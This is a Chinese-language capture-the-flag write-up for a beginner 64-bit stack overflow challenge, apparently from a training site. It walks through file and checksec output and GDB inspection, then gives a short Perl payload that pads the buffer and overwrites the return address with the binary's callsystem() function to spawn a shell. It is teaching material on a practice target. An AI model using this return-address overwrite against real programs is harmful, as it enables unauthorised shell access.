题目描述

菜鸡了解了什么是溢出,他相信自己能得到shell

Solution

首先用file查看文件类型,得知这是 ELF64 文件:

  1. ┌──(cheeryLaptop)-[~/Desktop/pwn]
  2. └─$ file 001
  3. 001: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
  4. ┌──(cheeryLaptop)-[~/Desktop/pwn]
  5. └─$ checksec --file=001
  6. RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
  7. No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 1 001

运行它,程序会打印Hello, World,读取完用户输入后退出。我们用 Cutter 打开,选择下方的 Strings 标签,把 Section 改成 .rodata,发现一个有意思的字符串/bin/sh

001-1.png

对着它按右键,选择Show X-Refs查找谁在引用它,根据,发现是callsystem()函数:

001-2.png

对于main()函数来说,它向 1 号文件描述符(Stdin)写入Hello, World\n,然后执行vulnerable_function()

001-3.png

vulnerable_function()里,调用read从标准输入读取输入,存入栈上的缓冲区:

001-4.png

整个栈只有0x80这么大,而读取进来的上限高达0x200,这会引发栈溢出。本题的思路,就是触发栈溢出,把返回地址改成callsystem(),即可拿 Shell。

我们进入 GDB 调试:

(gdb) b vulnerable_function
(gdb) ni 5

执行read()后,输入aaaabbbbccccdddd,再用x /144bx $rsp观察栈的地址:

001-5.png

我们编写一段 Perl 脚本来完成我们的构想:

$padding = "aaaabbbb" x17;
print($padding);

$ret_addr = "\x96\x05\x40" . "\x00" x4;
print($ret_addr);

运行效果如下:

001-6.png

我们生成题目的在线场景,使用如下命令连接:

001-7.png